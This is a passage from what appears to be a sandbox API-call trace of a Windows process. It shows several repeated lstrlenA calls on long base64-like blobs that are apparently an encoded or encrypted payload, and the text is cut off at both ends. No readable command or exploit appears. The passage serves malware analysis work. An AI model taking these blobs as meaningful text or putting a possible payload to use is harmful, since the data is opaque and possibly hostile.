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") returned 5820
	[0084.628] lstrlenA (lpString="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") returned 5820
	[0084.628] lstrlenA (lpString="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") returned 5820
	[0084.628] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0